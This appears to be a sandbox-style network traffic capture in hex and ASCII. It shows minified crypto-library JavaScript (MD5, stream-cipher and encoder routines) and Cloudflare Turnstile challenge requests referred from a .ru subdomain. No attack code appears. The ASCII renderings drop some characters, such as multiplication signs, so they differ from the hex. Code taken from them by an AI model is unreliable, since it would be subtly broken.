2024-12-20 23:35:52 UTC	1369	IN	Data Raw: 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b Data Ascii: =typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;
2024-12-20 23:35:52 UTC	1369	IN	Data Raw: 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d Data Ascii: or(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]
2024-12-20 23:35:52 UTC	1369	IN	Data Raw: 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c Data Ascii: :0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|
2024-12-20 23:35:52 UTC	1369	IN	Data Raw: 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 Data Ascii: ffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringif
2024-12-20 23:35:52 UTC	1369	IN	Data Raw: 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d Data Ascii: r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLM
2024-12-20 23:35:52 UTC	1369	IN	Data Raw: 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d Data Ascii: bs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=
2024-12-20 23:35:52 UTC	1369	IN	Data Raw: 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 Data Ascii: 39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,1

Timestamp	Bytes transferred	Direction	Data
2024-12-20 23:35:53 UTC	799	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/1gq28/0x4AAAAAAA01zeNo8XyUDmXH/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://gadk.quantumdhub.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 23:35:53 UTC	1362	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 23:35:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26678 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-12-20 23:35:53 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 35 33 37 33 38 66 35 63 66 61 31 35 62 62 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8f53738f5cfa15bb-EWRalt-svc: h3=":443"; ma=86400
2024-12-20 23:35:53 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-12-20 23:35:53 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2024-12-20 23:35:53 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2024-12-20 23:35:53 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2024-12-20 23:35:53 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2024-12-20 23:35:53 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2024-12-20 23:35:53 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2024-12-20 23:35:53 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2024-12-20 23:35:53 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Timestamp	Bytes transferred	Direction	Data
2024-12-20 23:35:54 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f53738f5cfa15bb&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/1gq28/0x4AAAAAAA01zeNo8XyUDmXH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 23:35:55 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 23:35:55 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 118433 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f537399dd724265-EWR alt-svc: h3=":443"; ma=86400
